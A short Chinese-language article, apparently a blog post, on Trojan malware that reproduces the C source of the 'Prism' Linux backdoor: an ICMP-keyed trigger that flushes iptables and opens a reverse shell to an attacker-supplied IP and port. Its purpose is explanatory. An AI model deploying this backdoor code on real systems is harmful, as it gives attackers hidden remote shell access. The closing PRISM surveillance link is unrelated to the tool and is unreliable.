千年之后,特洛伊木马的神话仍在赛博空间(cyberspace)中延续,尽管如今已经被赋予了不光彩的内涵。它曾经代表着高明的技巧以及社会工程学上的高超成就,而如今却被视为一种恶意的程序,其唯一的目的是在不知不觉中入侵受害者的计算终端,接收控制者的命令,窃取用户的账号密码,远程打开摄像头、麦克风,远程执行 shell 命令,或者为更多的恶意软件打开大门。木马程序甚至可以将被控终端作为跳板,入侵其它计算终端。
首先可以举一个例子,这里以GitHub中的 棱镜 项目做分析,这个开源项目是一个支持 linux 系统的远程 shell 工具,支持反弹端口和 icmp 激活上线两种模式。
它的代码核心采用tcp 反弹端口的方式上线,通过 icmp 协议传递上线地址和端口。接下来看一下源码。
/* If this is an ICMP_ECHO packet and if the KEY is correct */
if ((icmp->icmp_type == ICMP_ECHO) && (memcmp(icmp->icmp_data,ICMP_KEY, icmp_key_size) == 0)) {
char bd_ip[16];
int bd_port;
bd_port = 0;
bzero(bd_ip, sizeof(bd_ip));
sscanf((char *)(icmp->icmp_data + icmp_key_size + 1), "%15s %d", bd_ip, &bd_port);
if ((bd_port <= 0) || (strlen(bd_ip) < 7))
continue;
/* Starting reverse shell */
if (fork() == 0) {
#ifdef IPTABLES
flush_iptables();
#endif
//printf("->Starting reverse shell (%s:%d)...\n", bd_ip, bd_port);
start_reverse_shell(bd_ip, bd_port);
exit(EXIT_SUCCESS);
}
}
/*
* Start the reverse shell
*/
void start_reverse_shell(char *bd_ip, unsigned short int bd_port)
{
int sd;
struct sockaddr_in serv_addr;
struct hostent *server;
/* socket() */
sd = socket(AF_INET, SOCK_STREAM, 0);
if (sd < 0)
return;
server = gethostbyname(bd_ip);
if (server == NULL)
return;
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(bd_port);
/* connect() */
if (connect(sd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0)
return;
/* motd */
write(sd, MOTD, strlen(MOTD));
/* connect the socket to process sdout,stdin and stderr */
dup2(sd, 0);
dup2(sd, 1);
dup2(sd, 2);
/* running the shell */
execl(SHELL, SHELL, (char *)0);
close(sd);
}
但是有几点缺陷:无通信加密,监听端口没有隐藏,不支持交互命令。
[它们的屠城史–木马技术发展趋势与回顾]
(https://cloud.tencent.com/developer/article/1481368)
[稜鏡計畫]
(https://zh.wikipedia.org/wiki/稜鏡計畫)